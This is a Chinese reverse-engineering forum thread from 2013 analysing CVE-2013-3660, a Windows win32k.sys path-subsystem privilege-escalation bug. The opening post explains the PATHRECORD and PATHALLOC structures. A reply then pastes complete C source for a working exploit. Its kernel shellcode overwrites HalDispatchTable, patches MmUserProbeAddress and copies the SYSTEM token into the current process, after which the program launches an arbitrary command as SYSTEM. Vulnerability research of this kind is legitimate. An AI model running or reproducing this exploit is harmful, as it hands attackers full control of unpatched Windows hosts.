首页
社区
课程
招聘
[原创]CVE-2013-3660漏洞分析
发表于: 2013-9-1 18:32 14152

[原创]CVE-2013-3660漏洞分析

2013-9-1 18:32
14152

人生第一次发技术贴,比较忐忑
   
    这个漏洞出来一段时间了,一直都很感兴趣,最近才有点时间,就研究了一下,成果给大家分享一下。里面有不对的地方和比较2的调试方法,高手轻拍

    文章稍微有点长,大家先看pdf,有问题一起讨论

--------------------------------------------------------------------------------
CVE-2013-3660 分析
by isng
简介
  这个漏洞是 Tavis Ormandy 大神发现,可以本地权限提升,漏洞触发到利用都比较神奇, 就研究了一番,分析中可能出现不对的地方。
  漏洞发生在 win32k.sys,path 子系统。主要触发在将贝塞尔曲线直线化的过程中。关于 path 子系统和贝塞尔曲线,有一些介绍:
http://msdn.microsoft.com/en-us/library/windows/desktop/dd162779(v=vs.85).aspx http://zh.wikipedia.org/wiki/%E8%B2%9D%E8%8C%B2%E6%9B%B2%E7%B7%9A

漏洞原理分析

关于 path 子系统的一些说明

关键数据结构:


图 1

Path 子系统主要实现了上面的三个结构(确切的说是类)。
  PATHRECORD 结构是 path 子系统主要操作的结构,对其直线化操作就是对 PATHRECORD 操作。PATHRECORD 结构构成了一个双向链表,pprnext,pprprev 分别为前后项指针,flags 为 类型比如像 PD_BEZIERS。Count 为点的数量。POINTFIX 记录了各种坐标点。
  PATHALLOC 是分配 PATHRECORD 的容器。当需要新建一个 PATHRECORD 时候,首先从 ppachain->pprfreestart  指向 的 地址 开 始 , 判断该  PATHALLOC  是否 还有空 间 分配 一个 PATHRECORD,若有则以 pprfreestart 指向的地址分配新 PATHRECORD,freestart 指针向下移 动;若空间不够,则分配一个新的 PATHALLOC,链入 ppachain 指向链表的链表头,再从新建 的 PATHALLOC 里的 pprfreestart 开始分配内存。由此可见,系统分配 PATHRECORD,实际上 是通过 PATHALLOC 结构实现的。ppanext 后向指针,pprfreestart 指向当前 PATHALLOC 内的空 闲空间。siztPathAlloc 是 PATHALLOC 的大小。当然 PATHALLOC 还有一些非常关键的静态数据 成员,比如 freelist,cFree 等,后面会再说。
  PATH 结构主要被用在 EPATHOBJ 类中,这个类实现了一些操作 path 的函数,漏洞触发 的关键函数 pprFlattenRec 就在这里实现的。ppachain 指向了 PATHALLOC,pprfirst 指向第一 个 PATHRECORD,pprlast 指向最后一个。

freepathalloc 和 newpathalloc 函数

  Freepathalloc 和 newpathalloc 函数是释放和分配 PATHALLOC 结构的函数。在 PATHALLOC 类中,有一个静态成员 freelist。这个 freelist 指向 PATHALLOC 的链表,链表最多有 4 个结点。         释放 PATHALLOC 时,先判断 freelist 里的结点是否大于 4,大于直接就用 ExFreePool 释 放掉;小于就链入到 freelist 里,然后 cFree 加 1(cFree 记录 freelist 有多少结点)。         新建 PATHALLOC 时,先从 freelist 里取结点,链入到 ppachain 上。若 freelist 为空,才通 过调用 PALLOCMEM()->ExAllocatePoolWithTag 实现结点分配。

有问题的地方

出问题的地方在 pprFlattenRec 函数的执行过程中,执行步骤大致为:


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 5
支持
分享
最新回复 (19)
雪    币: 219
活跃值: (783)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
2
mark ~ ~! 大家一起嗑瓜子
2013-9-1 18:34
0
雪    币: 623
活跃值: (40)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
make
2013-9-1 18:35
0
雪    币: 133
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
mark
2013-9-1 20:32
0
雪    币: 341
活跃值: (138)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
5
这种东西目前看不懂。。。
2013-9-1 22:06
0
雪    币: 1233
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
6
卧槽,难道你们都没见过我发的稳定exp源码?
http://www.binvul.com/viewthread.php?tid=343&extra=page%3D1
/* 
 * windows EPATHOBJ::pprFlattenRec bug poc by boywhp@126.com
 * tested in windows 2003 x86
 * THX -> http://www.vupen.com/blog/20130723.Advanced_Exploitation_Windows_Kernel_Win32k_EoP_MS13-053.php
 */

#include <stdlib.h>
#include <stdio.h>
#include <STDARG.H>
#include <stddef.h>
#include <windows.h>
#include <Shellapi.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")

//1024 * 4k = 4M
#define MAX_PAGES       1024
#define MAX_POLYPOINTS (MAX_PAGES*498)                 

POINT   Points[MAX_POLYPOINTS];
BYTE    PointTypes[MAX_POLYPOINTS];

// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010

#define ENABLE_SWITCH_DESKTOP	1

typedef struct  _POINTFIX
{
        ULONG x;
        ULONG y;
} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.
typedef struct _PATHRECORD {
        struct _PATHRECORD *next;
        struct _PATHRECORD *prev;
        ULONG               flags;
        ULONG               count;
        POINTFIX            points[4];
} PATHRECORD, *PPATHRECORD;

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
        HANDLE Section;                 // Not filled in
        PVOID MappedBase;
        PVOID ImageBase;
        ULONG ImageSize;
        ULONG Flags;
        USHORT LoadOrderIndex;
        USHORT InitOrderIndex;
        USHORT LoadCount;
        USHORT OffsetToFileName;
        UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
        ULONG NumberOfModules;
        RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef INT ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef INT ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef INT ( __stdcall *NtReadVirtualMemory_)( HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef PVOID (__stdcall *PsGetCurrentProcess_)();
typedef PVOID (__stdcall *PsReferencePrimaryToken_)(PVOID Process);
typedef INT (__stdcall *PsLookupProcessByProcessId_)(HANDLE ProcessId, PVOID *Process);

NtQueryIntervalProfile_  NtQueryIntervalProfile;
NtQuerySystemInformation_ NtQuerySystemInformation;
NtReadVirtualMemory_ NtReadVirtualMemory;

typedef struct _ShellCodeInfo{
        PVOID* MmUserProbeAddress;
        PVOID* WriteToHalDispatchTable; 
        PVOID  NtSetEaFile;
        PVOID* PsInitialSystemProcess;
        DWORD  Pid; 
        PsGetCurrentProcess_ PsGetCurrentProcess;
        PsLookupProcessByProcessId_ PsLookupProcessByProcessId;
        PsReferencePrimaryToken_ PsReferencePrimaryToken;
} ShellCodeInfo, *PShellCodeInfo;

ShellCodeInfo   GlobalInfo;

PPATHRECORD     pExploitRecord;                 // 必须对齐 (>>4) ,使用动态申请
PATHRECORD      ExploitRecordExit = {0};

#if defined (_WIN64)
#define MAX_FAST_REFS 15
#else
#define MAX_FAST_REFS 7
#endif

int __stdcall ShellCode(PVOID x, PVOID y, PShellCodeInfo* pInfo, PVOID w)
{
        PShellCodeInfo info; //__SHELL_CODE_MAGIC;
        PVOID targetProcess, sysProcess, token;
        ULONG_PTR *p1, *p2;
        
        //info = *pInfo;
#ifdef _WIN64  
        info = (PShellCodeInfo)0x13A80;
        /* FIX MmUserProbeAddress -> ((ULONG_PTR)(0x80000000000UI64 - 0x10000)) */
        *info->MmUserProbeAddress = ((ULONG_PTR)(0x80000000000UI64 - 0x10000));
#else
        //info = (PShellCodeInfo)0x136E0;
        info = *pInfo;
        *info->MmUserProbeAddress = 0x7fff0000;
#endif
        /* x64 4参数: rcx, rdx, r8, r9 -直接c3即可 */
        *info->WriteToHalDispatchTable = info->NtSetEaFile;
        
        //if (info->PsLookupProcessByProcessId(info->Pid, &targetProcess) != 0)
        //        return 0xC0000019; 
        
        p1 = targetProcess = info->PsGetCurrentProcess();
        p2 = sysProcess = *info->PsInitialSystemProcess;
        token = info->PsReferencePrimaryToken(sysProcess);
        
        /* token 4bit->refcnt */
        while ((*p2 & ~MAX_FAST_REFS) != token){
                p1++;
                p2++;
        }
        
        *p1 = token;
        
        return 0xC0000018;
}

static int do_expoite(PVOID* addr, PVOID val, PBYTE cmd, PBYTE argv)
{
        HDC     expDc, curDc = NULL;
        ULONG   i;
        ULONG   Size;
        INT     ret = -1;
        PBYTE   tmp = NULL;
        HDC     tmpHdc[8096] = {0};
        ULONG   hdcNum = 0;
        BYTE    progressT[] = "-\\|/-\\|/";

        //init ExploitRecordExit node 
        ExploitRecordExit.next = NULL;
        ExploitRecordExit.next = NULL;
        ExploitRecordExit.flags = PD_BEGINSUBPATH;
        ExploitRecordExit.count = 0;

        //
        //ensue ExploitRecord.next -> valid address and end record
        //ExploitRecord.next -> ExploitRecordExit node
        //
        pExploitRecord = VirtualAlloc(NULL, 
                sizeof(PATHRECORD), 
                MEM_COMMIT | MEM_RESERVE, 
                PAGE_READWRITE);

        pExploitRecord->next  = &ExploitRecordExit;
        pExploitRecord->prev  = (PPATHRECORD)addr;
        pExploitRecord->flags = PD_BEZIERS | PD_BEGINSUBPATH;
        pExploitRecord->count = 4;

        printf("Alllocated PATHRECORDS:%p %p\n", 
                        pExploitRecord,
                        &ExploitRecordExit); 

        tmp = malloc((int)ShellCode);
        
        //
        // Generate a large number of Belier Curves made up of pointers to our
        // PATHRECORD object.
        //
       
        for (i = 0; i < MAX_POLYPOINTS; i++) {
#ifdef _WIN64 
                Points[i].x      = (ULONG)(pExploitRecord) >> 4;
                Points[i].y      = 0;//(ULONG)(pExploitRecord) >> 4;
#else
                Points[i].x      = (ULONG)(pExploitRecord) >> 4;
                Points[i].y      = (ULONG)(pExploitRecord) >> 4;
#endif
                PointTypes[i]    = PT_BEZIERTO;
        }
        
        /* MAX_PT_NUM = e194dfb8 - e194d028 = f90/sizeof(PT) = 1F2 = 498
        e194d008  e199d008 e194dfbc 00000fc0 e199d014  e199d008->prev alloc e194dfbc->freestart 00000fc0 total_size
        e194d018  00000000 00000011 000001f3 00000000
        e194d028  00000000 14141410 24242420 14141410
        e194d038  24242420 14141410 24242420 14141410
        ...
        e194dfa8  24242420 14141410 24242420 14141410
        e194dfb8  24242420 00000000 00000000 00000000
         * 调试:
         * 1 使用498*4首先将系统的freelist清0; <-我虚拟机初始就有3个节点
         * 2 第二次PolyDraw少几个节点 (必须 > 8),这样就会有几个PT的空间腾出了
         * 3 FlattenPath
         *      第一次调用EPATHOBJ::newpathrec (*pcMax = e > 8 不会调用win32k!newpathalloc)
                直接返回一个指向0x414141 0x42424242内存区域
                第二次调用EPATHOBJ::newpathrec->win32k!newpathalloc此时freelist=NULL,调用win32k!PALLOCMEM
                此时如果内存分配失败,或者自己在用winbdg改成NULL
                此时新创建的newpathrec已插入EPath->ppath->pprfist 但是 newpathrec->next = 0x41414140
           4 FlattenPath
                内存违规!!!
         */

        expDc = CreateCompatibleDC(GetDC(NULL));
        
        while (curDc = CreateCompatibleDC(GetDC(NULL))) {
                tmpHdc[hdcNum++] = curDc;
try_again:
                BeginPath(curDc);
                if (!PolyDraw(curDc, Points, PointTypes, MAX_POLYPOINTS)){

                        BeginPath(expDc);
                        PolyDraw(expDc, Points, PointTypes, 498);
                        EndPath(expDc);
                        
                        BeginPath(expDc);
                        PolyDraw(expDc, Points, PointTypes, 498-15);
                        EndPath(expDc);

                        for (i=MAX_PAGES-1; i>0; i--){
                                BeginPath(curDc);
                                if (PolyDraw(curDc, Points, PointTypes, 498*i)){
                                        printf("start poc %d...\n", i);                                        

                                        FlattenPath(expDc);

                                        //free the last -> freelist
                                        BeginPath(curDc);

                                        FlattenPath(expDc);

                                        //do exp
                                        ret = NtReadVirtualMemory((HANDLE)-1, 
                                                tmp, 
                                                tmp, 
                                                (SIZE_T)ShellCode, 
                                                GlobalInfo.WriteToHalDispatchTable
                                                );
                                        
                                        if (ret == 0){
                                                NtQueryIntervalProfile(&GlobalInfo, &ret);
                                                printf("[*] exploit...%x!\n", ret);
                                                ret = 0;
                                        } else {
                                                printf("exp faild :-<!\n");                                               
                                                
                                                ret = -1;
                                                goto try_again;
                                        }

                                        goto clean_up;
                                }
                        }
                }
                printf("%c\r", progressT[(hdcNum/8) % 8]);
        }

clean_up:
        printf("cleaning up...\n");

        for (i = hdcNum; i > 0; i--)
                DeleteDC(tmpHdc[i]);

        free(tmp);
        VirtualFree(pExploitRecord, 0, MEM_RELEASE);

        return ret;
}

int main(int argc, char **argv)
{

        HMODULE ntoskrnl = NULL;
        LONG ret;
        BOOL bRet = FALSE;
        HMODULE  ntdll;
        PRTL_PROCESS_MODULES mod = (PRTL_PROCESS_MODULES)&mod;
        PBYTE osBase;
        HMODULE hDllOs;      
        ULONG NeededSize;
        INT expCount = 0;

        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};

        si.cb = sizeof(si);

        //GlobalInfo.Pid = GetCurrentProcessId(); //pi.dwProcessId;
        printf("------------ epath Exp by boywhp@126.com ------------\n\n");

        ntdll = GetModuleHandle("ntdll.dll");

        NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress(ntdll, "NtQueryIntervalProfile");
        NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress(ntdll, "NtQuerySystemInformation");
        NtReadVirtualMemory = (NtReadVirtualMemory_)GetProcAddress(ntdll, "NtReadVirtualMemory");

        if (!NtQueryIntervalProfile 
                || !NtQuerySystemInformation
                || !NtReadVirtualMemory){
                printf("error get ntdll fun address\n");
                return -1;
        }                
        
        /*
        * NtQuerySystemInformation query sys module info
        * STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
        */
        ret = NtQuerySystemInformation(11, mod, 4, &NeededSize);
        if (0xC0000004 == ret){
                mod = malloc(NeededSize);
                ret = NtQuerySystemInformation(11, mod, NeededSize, NULL);
                
        }
        
        printf("ntos:%s->%p\n", 
                mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName,
                mod->Modules[0].ImageBase);
        
        osBase = mod->Modules[0].ImageBase;
        hDllOs = LoadLibraryA((LPCSTR)(mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName));
        if (!hDllOs){
                printf("error reload os kernel\n");
                return -1;
        }
        free(mod);
        
        GlobalInfo.WriteToHalDispatchTable = (PBYTE)GetProcAddress(hDllOs, "HalDispatchTable") 
                - (PBYTE)hDllOs + osBase + sizeof(PVOID);
        GlobalInfo.PsInitialSystemProcess = (PBYTE)GetProcAddress(hDllOs, "PsInitialSystemProcess") 
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.PsReferencePrimaryToken = (PBYTE)GetProcAddress(hDllOs, "PsReferencePrimaryToken") 
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.PsGetCurrentProcess = (PBYTE)GetProcAddress(hDllOs, "PsGetCurrentProcess") 
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.PsLookupProcessByProcessId = (PBYTE)GetProcAddress(hDllOs, "PsLookupProcessByProcessId") 
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.MmUserProbeAddress = (PBYTE)GetProcAddress(hDllOs, "MmUserProbeAddress") 
                - (PBYTE)hDllOs + osBase; 
        GlobalInfo.NtSetEaFile = (PBYTE)GetProcAddress(hDllOs, "NtSetEaFile") 
                - (PBYTE)hDllOs + osBase;

        printf("Info %p \nHalDispatchTable %p MmUserProbeAddress %p NtSetEaFile %p \n", 
                        &GlobalInfo,
                        GlobalInfo.WriteToHalDispatchTable, 
                        GlobalInfo.MmUserProbeAddress,
                        GlobalInfo.NtSetEaFile);

        do_expoite(GlobalInfo.MmUserProbeAddress, 
                NULL, 
                argv[1], 
                argc > 2 ? argv[2] : NULL);
        
        printf("[*]exe %s\n", argv[1]);
        if (!CreateProcess(NULL,        // No module name (use command line)
                argv[1], 
                NULL,
                NULL,
                FALSE,
                0,                      //CREATE_NEW_CONSOLE | CREATE_SUSPENDED, 
                NULL,
                NULL,
                &si,
                &pi)){
                printf("CreateProcess failed (%d)./n", GetLastError());
                return -1;
        }
        
        //ResumeThread(pi.hThread);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);

        return 0;
}

2013-9-1 22:18
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
7
http://www.binvul.com/
是个不错网站

请问哪里有比较及时、全面的0day exploit 漏洞公布和利用的网站 影响比较大的
2013-9-1 23:54
0
雪    币: 623
活跃值: (40)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
8
make
2013-9-2 00:24
0
雪    币: 26
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
惭愧啊,才发现。。。跟不上节奏的感觉,谢谢boywhp大牛的源码,向你学习
2013-9-2 08:39
0
雪    币: 26
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
metasploit,exploit-db,大牛们的博客了,各种论坛吧~~
2013-9-2 08:43
0
雪    币: 680
活跃值: (68)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
11
mark
2013-9-2 09:59
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
12
谢谢分享,milw0rm,wooyun也都不错
2013-9-2 12:28
0
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
13
请问,版主,如何知道数据结构之间的关系的?难道是逆向出来或者windbg调试出来的?还是看wrk源代码?
2013-9-2 22:58
0
雪    币: 26
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
参考的nt4的源码,再调一调就可以啦
2013-9-3 09:28
0
雪    币: 1585
活跃值: (182)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
mark
2013-9-3 09:51
0
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
16
谢谢版主,看nt源码!!!!
2013-9-3 15:10
0
雪    币: 505
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
mark,顶一下楼主。
2013-9-4 16:49
0
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
18
请问版主,win7下利用与winxp下利用有区别吗?我看http://www.vupen.com/blog/20130723.Advanced_Exploitation_Windows_Kernel_Win32k_EoP_MS13-053.php这个讲的,没有区别啊!但是我在win7下没成功过。
2013-9-10 08:56
0
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
19
谢谢whp和isng的好心回复,我下断点如下,ba w4  win32k!PATHALLOC::cfree ".echo write cfree!!!;.echo  cfree!!!;dd win32k!PATHALLOC::cfree l1;dd win32k!PATHALLOC::freelist;k",同时在win32k!EPATHOBJ::newpathrec 中下断点,可以发现PolyDraw和FlattenPath在申请内存时,先消耗4个freelist然后再另申请。这个你们的报告里讲过,可以发现断点显示4 3 2 1 2 3 4 ....另外ida中发现PolyDraw(Device, Points, PointTypes, PointNum)申请内存如果失败,会把申请到的内存释放掉,所以就会4 3 2 1 2 3 4 ....。所以要找一个合适的PointNum,所以就要循环了for (PointNum = MAX_POLYPOINTS; PointNum>0 && !Finished;PointNum -= 3 )。不知道对不对
2013-9-15 21:25
0
雪    币: 334
活跃值: (92)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
20
看你的id,难道是玩书法的么?
2014-3-6 11:21
0
游客
登录 | 注册 方可回帖
返回
//